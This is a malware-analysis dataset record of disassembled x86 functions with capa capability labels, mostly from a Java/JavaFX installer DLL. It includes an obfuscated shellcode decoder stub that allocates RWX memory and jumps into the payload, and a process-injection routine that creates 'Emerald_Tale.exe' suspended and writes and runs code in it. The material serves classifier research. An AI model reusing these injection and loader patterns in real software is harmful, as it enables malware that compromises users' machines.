joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6d203536
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0x17a0]
mov eax, 0x1820
call fcn.6d20a9b0
mov eax, dword [0x6d22e258]
xor eax, ebp
mov dword [ebp + 0x179c], eax
push ebx
push esi
mov esi, dword [ebp + 0x17a8]
push edi
mov edi, dword [ebp + 0x17ac]
xor ebx, ebx
push str.FORCED_FX_ROOT
lea eax, [ebp - 0x6c]
push ebx
push eax
mov dword [ebp - 0x80], edi
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x74], ebx
mov dword [ebp - 0x6c], ebx
mov byte [ebp - 0x64], bl
call fcn.6d20c6a7
add esp, 0xc
cmp dword [ebp - 0x6c], ebx
je 0x6d2035b1
cmp eax, ebx
jne 0x6d2035b1
push str.2.0
push dword [ebp + 0x17b0]
push edi
call fcn.6d21d181
push dword [ebp - 0x6c]
call fcn.6d21d181
add esp, 0x10
jmp 0x6d203715
cmp esi, ebx
jne 0x6d2035c4
mov dword [ebp - 0x74], 1
mov byte [ebp + 0x79c], bl
jmp 0x6d203609
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x6d2035c9
sub eax, edx
lea eax, [esi + eax - 1]
mov cl, byte [eax]
cmp cl, 0x2b
jne 0x6d2035e6
mov dword [ebp - 0x74], 1
jmp 0x6d2035f2
cmp cl, 0x2a
jne 0x6d2035f4
mov dword [ebp - 0x7c], 1
mov byte [eax], bl
push esi
lea eax, [ebp + 0x79c]
push 0x800
push eax
call fcn.6d21d181
add esp, 0xc
lea eax, [ebp - 0x68]
push eax
push 0x20019
push ebx
push 0x6d221a08
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x6d2036f2
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp + 0xf9c]
push eax
mov dword [ebp - 0x70], ebx
push ebx
jmp 0x6d2036de
push str.1.9.0
lea eax, [ebp + 0xf9c]
push eax
call dword [sym.imp.kernel32.dll_lstrcmpiA]
test eax, eax
js 0x6d2036c9
push dword [ebp - 0x74]
lea eax, [ebp + 0x79c]
push dword [ebp - 0x7c]
push eax
lea eax, [ebp + 0xf9c]
push eax
call fcn.6d21d181
add esp, 0x10
test eax, eax
je 0x6d2036c9
lea esi, [ebp - 0x64]
lea eax, [ebp + 0xf9c]
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x6d2036a8
cmp cl, bl
je 0x6d2036a4
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x6d2036a8
add eax, 2
add esi, 2
cmp cl, bl
jne 0x6d203688
xor eax, eax
jmp 0x6d2036ad
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jle 0x6d2036c9
lea eax, [ebp + 0xf9c]
push eax
lea eax, [ebp - 0x64]
push 0x800
push eax
call fcn.6d21d181
add esp, 0xc
inc dword [ebp - 0x70]
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp + 0xf9c]
push eax
push dword [ebp - 0x70]
push dword [ebp - 0x68]
mov dword [ebp - 0x78], 0x800
call edi
test eax, eax
je 0x6d203649
mov eax, dword [ebp + 0x17b0]
lea ecx, [eax - 1]
push ecx
lea ecx, [ebp - 0x64]
push ecx
push eax
push dword [ebp - 0x80]
call fcn.6d21d181
add esp, 0x10
push dword [ebp - 0x68]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 0x179c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d20a065
add ebp, 0x17a0
leave
ret
Function at 0x6d20372d
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x94]
sub esp, 0x114
mov eax, dword [0x6d22e258]
xor eax, ebp
mov dword [ebp + 0x90], eax
push esi
push edi
xor edi, edi
push str.TOOLKIT_JFX_URL
mov dword [ebp - 0x78], edi
mov dword [ebp - 0x7c], 0x104
call fcn.6d20c62d
mov esi, eax
pop ecx
cmp esi, edi
jne 0x6d2037b3
lea eax, [ebp - 0x78]
push eax
push 0x20019
push edi
push 0x6d221a38
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x6d2037a9
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x80]
push eax
push edi
push str.JavaFX_Download_URL
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x6d2037a9
lea esi, [ebp - 0x74]
jmp 0x6d2037b3
mov edi, str.http:__download.oracle.com_otn_pub_java_javafx_javafx_windows_i586__Vlatest.exe
mov esi, str.http:__jfx.us.oracle.com_fxinstaller_fx_setup__Vlatest.exe
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
push edi
call fcn.6d1fea78
pop ecx
pop ecx
mov ecx, dword [ebp + 0x90]
pop edi
xor ecx, ebp
pop esi
call fcn.6d20a065
add ebp, 0x94
leave
ret

Function at 0x6d2037dc
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x94]
sub esp, 0x114
mov eax, dword [0x6d22e258]
xor eax, ebp
mov dword [ebp + 0x90], eax
lea eax, [ebp - 0x78]
push eax
push 0x20019
push 0
push 0x6d221af0
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x7c], 0x104
mov byte [ebp - 0x74], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x6d203878
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x80]
push eax
push 0
push 0x6d221b08
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x6d20386f
push esi
push edi
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 5
pop ecx
lea edi, [ebp - 0x74]
mov esi, 0x6d221b14
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
pop edi
pop esi
je 0x6d203864
sbb eax, eax
sbb eax, 0xffffffff
xor ecx, ecx
test eax, eax
setne cl
mov eax, ecx
jmp 0x6d20387b
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
mov ecx, dword [ebp + 0x90]
xor ecx, ebp
call fcn.6d20a065
add ebp, 0x94
leave
ret
Function at 0x6d20491d
Capabilities:
Get geographical location

Disassembly:
push ebp
lea ebp, [esp - 0x7d8]
sub esp, 0x858
mov eax, dword [0x6d22e258]
xor eax, ebp
mov dword [ebp + 0x7d4], eax
mov eax, dword [ebp + 0x7e4]
push ebx
push esi
mov esi, dword [ebp + 0x7e0]
push edi
push esi
mov dword [ebp - 0x78], eax
call dword [sym.imp.GDI32.dll_SaveDC]
push 2
push esi
mov dword [ebp - 0x74], eax
call dword [sym.imp.GDI32.dll_SetGraphicsMode]
push 1
xor ebx, ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_ModifyWorldTransform]
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_SetViewportOrgEx]
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 0x58
push esi
call edi
mov dword [ebp - 0x6c], eax
fild dword [ebp - 0x6c]
push 0x5a
push esi
fstp dword [ebp - 0x70]
call edi
mov dword [ebp - 0x6c], eax
fild dword [ebp - 0x6c]
fstp dword [ebp - 0x6c]
fld dword [ebp - 0x70]
fmul qword [0x6d221d88]
fld qword [0x6d221d80]
fdiv st(1), st(0)
fxch st(1)
call fcn.6d20cb40
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0x7e8]
imul eax, eax, 0xa
mov dword [ebp - 0x70], eax
fild dword [ebp - 0x70]
fmul dword [ebp - 0x6c]
fdivrp st(1)
call fcn.6d20cb40
mov dword [ebp - 0x7c], eax
push 1
lea eax, [ebp - 0x80]
push eax
push esi
call dword [sym.imp.GDI32.dll_DPtoLP]
fild dword [ebp - 0x7c]
fabs
fdiv qword [0x6d221d78]
fadd qword [0x6d221d70]
call fcn.6d20cb40
neg eax
mov dword [ebp - 0x68], eax
mov eax, 0x800
push eax
lea ecx, [ebp - 0x2c]
push ecx
push 0x1002
push eax
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x50], ebx
call dword [sym.imp.kernel32.dll_GetLocaleInfoA]
push 5
lea eax, [ebp - 0x2c]
push 0x6d221d3c
push eax
call fcn.6d21d181
add esp, 0xc
test eax, eax
lea eax, [ebp - 0x4c]
jne 0x6d204a47
push 0x6d221d44
jmp 0x6d204a4a
push dword [ebp - 0x78]
push 0x20
push eax
call fcn.6d21d181
add esp, 0xc
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
push dword [ebp - 0x74]
mov edi, eax
push esi
call dword [sym.imp.GDI32.dll_RestoreDC]
mov ecx, dword [ebp + 0x7d4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d20a065
add ebp, 0x7d8
leave
ret 0xc
Function at 0x6d204f29
Capabilities:
Create thread
Parse url

Disassembly:
push ebp
lea ebp, [esp - 0x27c4]
mov eax, 0x2844
call fcn.6d20a9b0
mov eax, dword [0x6d22e258]
xor eax, ebp
mov dword [ebp + 0x27c0], eax
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push 0x1f4
mov esi, ecx
push 0x3e8
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SetTimer]
lea eax, [ebp - 0x44]
push eax
push ebx
push esi
push 0x6d204cbc
push ebx
push ebx
mov dword [ebp - 0x44], ebx
call dword [sym.imp.kernel32.dll_CreateThread]
push 0x3c
pop edi
push edi
lea eax, [ebp - 0x80]
push ebx
push eax
mov dword [esi + 0x68], ebx
mov dword [esi + 0x6c], ebx
mov dword [esi + 0x70], ebx
mov dword [esi + 0x94], ebx
call fcn.6d20a0b0
lea eax, [ebp + 0x7c0]
mov dword [ebp - 0x7c], eax
mov eax, 0x800
add esp, 0xc
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x80]
push eax
lea ecx, [ebp + 0xfc0]
push ebx
push dword [esi + 0x2c]
mov dword [ebp - 0x70], ecx
lea ecx, [ebp + 0x1fc0]
mov dword [ebp - 0x80], edi
mov dword [ebp - 0x54], ecx
call dword [sym.imp.kernel32.dll_lstrlenA]
push eax
push dword [esi + 0x2c]
call dword [sym.imp.wininet.dll_InternetCrackUrlA]
lea eax, [ebp + 0xfc0]
push eax
lea eax, [ebp + 0x7c0]
push eax
lea eax, [ebp - 0x40]
push 0x6d221cb4
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov edi, dword [sym.imp.USER32.dll_GetDlgItem]
add esp, 0x10
push 0x78
push dword [esi + 4]
call edi
lea ecx, [ebp - 0x40]
push ecx
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
push 0x76
push dword [esi + 4]
call edi
push dword [esi + 0x74]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
push 0x74
push dword [esi + 4]
call edi
cmp dword [esi + 0x9c], ebx
mov edi, eax
push 0x800
lea eax, [ebp + 0x17c0]
push eax
je 0x6d20504a
push 0xc1b
jmp 0x6d20504f
push 0xfa0
push dword [0x6d233750]
call dword [sym.imp.USER32.dll_LoadStringA]
lea eax, [ebp + 0x17c0]
push eax
push edi
call dword [sym.imp.USER32.dll_SetWindowTextA]
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp + 0xfc0]
push eax
lea eax, [esi + 0x8a0]
push eax
call edi
mov eax, dword [ebp - 0x50]
pop ecx
pop ecx
cmp eax, ebx
je 0x6d2050c6
cmp eax, 1
je 0x6d2050c6
xor ecx, ecx
cmp byte [ebp + eax + 0x1fbf], 0x2f
sete cl
sub eax, 2
cmp byte [ebp + eax + 0x1fc0], 0x2f
je 0x6d2050aa
dec eax
jmp 0x6d20509d
add esi, 0xa0
cmp ecx, ebx
je 0x6d2050bd
lea eax, [ebp + eax + 0x1fc0]
jmp 0x6d2050d2
lea eax, [ebp + eax + 0x1fc1]
jmp 0x6d2050d2
lea eax, [ebp + 0x1fc0]
add esi, 0xa0
push eax
push esi
call edi
pop ecx
pop ecx
mov ecx, dword [ebp + 0x27c0]
pop edi
xor eax, eax
pop esi
xor ecx, ebp
inc eax
pop ebx
call fcn.6d20a065
add ebp, 0x27c4
leave
ret 0x10
Function at 0x6d205fb8
Capabilities:
Parse url

Disassembly:
push ebp
lea ebp, [esp - 0x1fc4]
mov eax, 0x2044
call fcn.6d20a9b0
mov eax, dword [0x6d22e258]
xor eax, ebp
mov dword [ebp + 0x1fc0], eax
push ebx
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.USER32.dll_GetDlgItem]
xor eax, eax
push 0xd7
push dword [esi + 4]
mov dword [esi + 0x48], eax
mov dword [esi + 0x4c], eax
mov dword [esi + 0x50], eax
mov dword [esi + 0x54], eax
mov dword [esi + 0x74], eax
call edi
push dword [esi + 0x28]
mov ebx, dword [sym.imp.USER32.dll_SetWindowTextA]
push eax
call ebx
push 0x3c
lea eax, [ebp - 0x80]
push 0
push eax
call fcn.6d20a0b0
lea eax, [ebp + 0x7c0]
mov dword [ebp - 0x7c], eax
mov eax, 0x800
add esp, 0xc
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x80]
push eax
push 0
push dword [esi + 0x2c]
lea ecx, [ebp + 0xfc0]
mov dword [ebp - 0x80], 0x3c
mov dword [ebp - 0x70], ecx
call dword [sym.imp.kernel32.dll_lstrlenA]
push eax
push dword [esi + 0x2c]
call dword [sym.imp.wininet.dll_InternetCrackUrlA]
lea eax, [ebp + 0xfc0]
push eax
lea eax, [ebp + 0x7c0]
push eax
lea eax, [ebp - 0x40]
push str._s:___s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0xd2
push dword [esi + 4]
call edi
lea ecx, [ebp - 0x40]
push ecx
push eax
call ebx
push 0xd0
push dword [esi + 4]
call edi
push dword [esi + 0x30]
mov dword [ebp - 0x44], eax
lea eax, [ebp + 0x17c0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
pop ecx
pop ecx
lea eax, [ebp + 0x17c0]
push eax
push dword [ebp - 0x44]
call ebx
push 0xd3
push dword [esi + 4]
call edi
push 0x800
mov dword [ebp - 0x44], eax
lea eax, [ebp + 0x17c0]
push eax
push dword [esi + 0x40]
push dword [0x6d233750]
call dword [sym.imp.USER32.dll_LoadStringA]
lea eax, [ebp + 0x17c0]
push eax
push dword [ebp - 0x44]
call ebx
push 0xd4
push dword [esi + 4]
call edi
push 0x800
mov dword [ebp - 0x44], eax
lea eax, [ebp + 0x17c0]
push eax
push dword [esi + 0x44]
push dword [0x6d233750]
call dword [sym.imp.USER32.dll_LoadStringA]
lea eax, [ebp + 0x17c0]
push eax
push dword [ebp - 0x44]
call ebx
push 0xd5
push dword [esi + 4]
call edi
push 0xfffffffffffffff0
push eax
mov dword [ebp - 0x44], eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
or eax, 0x100
push eax
push 0xfffffffffffffff0
push dword [ebp - 0x44]
call dword [sym.imp.USER32.dll_SetWindowLongA]
push 0xcb
push dword [esi + 4]
call edi
push 0x800
mov dword [ebp - 0x44], eax
lea eax, [ebp + 0x17c0]
push eax
push dword [esi + 0x38]
push dword [0x6d233750]
call dword [sym.imp.USER32.dll_LoadStringA]
lea eax, [ebp + 0x17c0]
push eax
push dword [ebp - 0x44]
call ebx
push 0xcc
push dword [esi + 4]
call edi
push 0x800
mov edi, eax
lea eax, [ebp + 0x17c0]
push eax
push dword [esi + 0x3c]
push dword [0x6d233750]
call dword [sym.imp.USER32.dll_LoadStringA]
lea eax, [ebp + 0x17c0]
push eax
push edi
call ebx
mov ecx, dword [ebp + 0x1fc0]
pop edi
xor eax, eax
pop esi
xor ecx, ebp
inc eax
pop ebx
call fcn.6d20a065
add ebp, 0x1fc4
leave
ret 0x10
Function at 0x6d206278
Capabilities:
Get geographical location

Disassembly:
push ebp
lea ebp, [esp - 0x7d8]
sub esp, 0x858
mov eax, dword [0x6d22e258]
xor eax, ebp
mov dword [ebp + 0x7d4], eax
mov eax, dword [ebp + 0x7e4]
push ebx
push esi
mov esi, dword [ebp + 0x7e0]
push edi
push esi
mov dword [ebp - 0x78], eax
call dword [sym.imp.GDI32.dll_SaveDC]
push 2
push esi
mov dword [ebp - 0x74], eax
call dword [sym.imp.GDI32.dll_SetGraphicsMode]
push 1
xor ebx, ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_ModifyWorldTransform]
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_SetViewportOrgEx]
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 0x58
push esi
call edi
mov dword [ebp - 0x6c], eax
fild dword [ebp - 0x6c]
push 0x5a
push esi
fstp dword [ebp - 0x70]
call edi
mov dword [ebp - 0x6c], eax
fild dword [ebp - 0x6c]
fstp dword [ebp - 0x6c]
fld dword [ebp - 0x70]
fmul qword [0x6d221d88]
fld qword [0x6d221d80]
fdiv st(1), st(0)
fxch st(1)
call fcn.6d20cb40
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0x7e8]
imul eax, eax, 0xa
mov dword [ebp - 0x70], eax
fild dword [ebp - 0x70]
fmul dword [ebp - 0x6c]
fdivrp st(1)
call fcn.6d20cb40
mov dword [ebp - 0x7c], eax
push 1
lea eax, [ebp - 0x80]
push eax
push esi
call dword [sym.imp.GDI32.dll_DPtoLP]
fild dword [ebp - 0x7c]
fabs
fdiv qword [0x6d221d78]
fadd qword [0x6d221d70]
call fcn.6d20cb40
neg eax
cmp dword [ebp + 0x7ec], ebx
mov dword [ebp - 0x68], eax
setne al
mov byte [ebp - 0x53], al
mov eax, 0x800
push eax
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x58], ebx
mov byte [ebp - 0x54], bl
mov dword [ebp - 0x52], ebx
mov word [ebp - 0x4e], bx
push ecx
push 0x1002
push eax
call dword [sym.imp.kernel32.dll_GetLocaleInfoA]
push 5
lea eax, [ebp - 0x2c]
push 0x6d221eb0
push eax
call fcn.6d21d181
add esp, 0xc
test eax, eax
lea eax, [ebp - 0x4c]
jne 0x6d2063b2
push 0x6d221eb8
jmp 0x6d2063b5
push dword [ebp - 0x78]
push 0x20
push eax
call fcn.6d21d181
add esp, 0xc
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
push dword [ebp - 0x74]
mov edi, eax
push esi
call dword [sym.imp.GDI32.dll_RestoreDC]
mov ecx, dword [ebp + 0x7d4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d20a065
add ebp, 0x7d8
leave
ret 0x10
Function at 0x6d2070d3
Capabilities:
Get geographical location

Disassembly:
push ebp
lea ebp, [esp - 0x7d8]
sub esp, 0x858
mov eax, dword [0x6d22e258]
xor eax, ebp
mov dword [ebp + 0x7d4], eax
mov eax, dword [ebp + 0x7e4]
push ebx
push esi
mov esi, dword [ebp + 0x7e0]
push edi
push esi
mov dword [ebp - 0x78], eax
call dword [sym.imp.GDI32.dll_SaveDC]
push 2
push esi
mov dword [ebp - 0x74], eax
call dword [sym.imp.GDI32.dll_SetGraphicsMode]
push 1
xor ebx, ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_ModifyWorldTransform]
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_SetViewportOrgEx]
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 0x58
push esi
call edi
mov dword [ebp - 0x6c], eax
fild dword [ebp - 0x6c]
push 0x5a
push esi
fstp dword [ebp - 0x70]
call edi
mov dword [ebp - 0x6c], eax
fild dword [ebp - 0x6c]
fstp dword [ebp - 0x6c]
fld dword [ebp - 0x70]
fmul qword [0x6d221d88]
fld qword [0x6d221d80]
fdiv st(1), st(0)
fxch st(1)
call fcn.6d20cb40
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0x7e8]
imul eax, eax, 0xa
mov dword [ebp - 0x70], eax
fild dword [ebp - 0x70]
fmul dword [ebp - 0x6c]
fdivrp st(1)
call fcn.6d20cb40
mov dword [ebp - 0x7c], eax
push 1
lea eax, [ebp - 0x80]
push eax
push esi
call dword [sym.imp.GDI32.dll_DPtoLP]
fild dword [ebp - 0x7c]
fabs
fdiv qword [0x6d221d78]
fadd qword [0x6d221d70]
call fcn.6d20cb40
neg eax
cmp dword [ebp + 0x7ec], ebx
mov dword [ebp - 0x68], eax
setne al
mov byte [ebp - 0x53], al
mov eax, dword [ebp + 0x7f0]
neg eax
sbb eax, eax
and eax, 0x2bc
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x5c], ebx
mov byte [ebp - 0x54], bl
mov dword [ebp - 0x52], ebx
mov word [ebp - 0x4e], bx
mov dword [ebp - 0x58], eax
mov eax, 0x800
push eax
lea ecx, [ebp - 0x2c]
push ecx
push 0x1002
push eax
call dword [sym.imp.kernel32.dll_GetLocaleInfoA]
push 5
lea eax, [ebp - 0x2c]
push str.Japan
push eax
call fcn.6d21d181
add esp, 0xc
test eax, eax
lea eax, [ebp - 0x4c]
je 0x6d20721a
push dword [ebp - 0x78]
jmp 0x6d20721f
push 0x6d222010
push 0x20
push eax
call fcn.6d21d181
add esp, 0xc
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
push dword [ebp - 0x74]
mov edi, eax
push esi
call dword [sym.imp.GDI32.dll_RestoreDC]
mov ecx, dword [ebp + 0x7d4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d20a065
add ebp, 0x7d8
leave
ret 0x14
Function at 0x6d208243
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x8c
mov eax, dword [0x6d22e258]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
lea eax, [ebp - 0x10]
push eax
push 0x20019
push 0
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
xor esi, esi
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x14], 0x80
inc esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x6d2082b5
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push str.identifier
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x6d2082b5
push str.ia64
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.kernel32.dll_lstrcmpiA]
test eax, eax
jne 0x6d2082b5
xor esi, esi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.6d20a065
add ebp, 0x78
leave
ret

Function at 0x6d209d93
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x6d2337ac], 0
push esi
push edi
jne 0x6d209d09
call fcn.6d209c75
test eax, eax
je 0x6d209d4e
mov eax, dword [0x6d2337ac]
cmp eax, 1
jne 0x6d209d2a
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x6d209d4e
jmp 0x6d209d90
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x6d209d90
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x6d209d52
xor eax, eax
jmp 0x6d209d90
mov eax, dword [esi]
push dword [0x6d2337ac]
call edi
mov edi, eax
test edi, edi
je 0x6d209d74
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x6d209d90
lea edi, [esi + 0xff0]
push esi
push dword [0x6d2337ac]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x6d209d7a
mov eax, esi
pop edi
pop esi
ret
jmp 0x6d209cf5

Function at 0x6d20a065
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x6d22e258]
jne 0x6d20a06f
repz ret
jmp fcn.6d20e6dd
Function at 0x6d21d181
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x6d21d190
pop dword [ebp - 0x4c]
mov eax, 0xd1e4e1a7
sub eax, 0x64c31017
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x41b48
push 0
mov eax, 0x50c0c57d
sub eax, 0xe39ed3f1
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0x58ce
xor esi, esi
add esi, eax
mov edx, 0xa1ffdd93
add edx, 0xcb27ee6d
add edx, dword [ebp - 0x4c]
mov edi, 0xbc245056
sub edi, 0xda2a64c5
xor dword [ebp - 0x44], 0x9e34bc0f
mov ebx, dword [edx]
add dword [ebp - 0x40], 0xb33b58a
add ebx, edi
sub dword [ebp - 0x40], 0xe463d546
mov dword [esi], ebx
sub dword [ebp - 8], 0xbebfab
add esi, 0x420ba16f
sub esi, 0x420ba16b
add edx, 0x16ec6892
add edx, 0xe9139772
loop 0x6d21d1eb
add eax, 0xe547ce9e
sub eax, 0xe5467893
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x30b93e43
sub ecx, 0xc39a3e43
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x4afce4
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb4
mov dword [esp], eax
lea esi, [esp + 0x30]
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edi, dword [esp]
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4afdaf
jmp 0x4afda3
cmp dword [esi + 0x10], 0x1000
jne 0x4afd8f
test byte [esi + 0x15], 1
jne 0x4afd8f
mov byte [esp + 4], 0
mov ebp, dword [esi + 0x14]
cmp ebp, 1
je 0x4afd40
cmp ebp, 2
je 0x4afd40
cmp ebp, 0x10
je 0x4afd40
cmp ebp, 0x20
jne 0x4afd5c
lea eax, [esp + 8]
push eax
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x4afd5c
mov byte [esp + 4], 1
xor ebx, ebx
jmp 0x4afd6d
mov eax, dword [esi]
add eax, ebx
call fcn.004afcdc
add ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0xc]
jb 0x4afd60
cmp byte [esp + 4], 0
je 0x4afd8f
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov edi, eax
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4afdaf
mov eax, dword [esi + 4]
cmp eax, dword [esp]
je 0x4afd15
add esp, 0x4c
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4011ef
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Inject thread
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffea4
mov dword [ebp - 4], 0
push 0x403244
push 0x403200
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push str.Emerald_Tale.exe
call sub.kernel32.dll_CreateProcessA
test eax, eax
je 0x401287
push 0x40
push 0x101000
push 0x286
push 0
push dword [0x403244]
call sub.kernel32.dll_VirtualAllocEx
push eax
push 0
push 0x286
push section..text
push eax
push dword [0x403244]
call sub.kernel32.dll_WriteProcessMemory
pop eax
push dword [0x4010e5]
push 0
push 0
push eax
push 0
push 0
push dword [0x403244]
call sub.kernel32.dll_CreateRemoteThread
push 0x7d0
call sub.kernel32.dll_Sleep
push dword [0x403248]
call sub.kernel32.dll_ResumeThread
leave
ret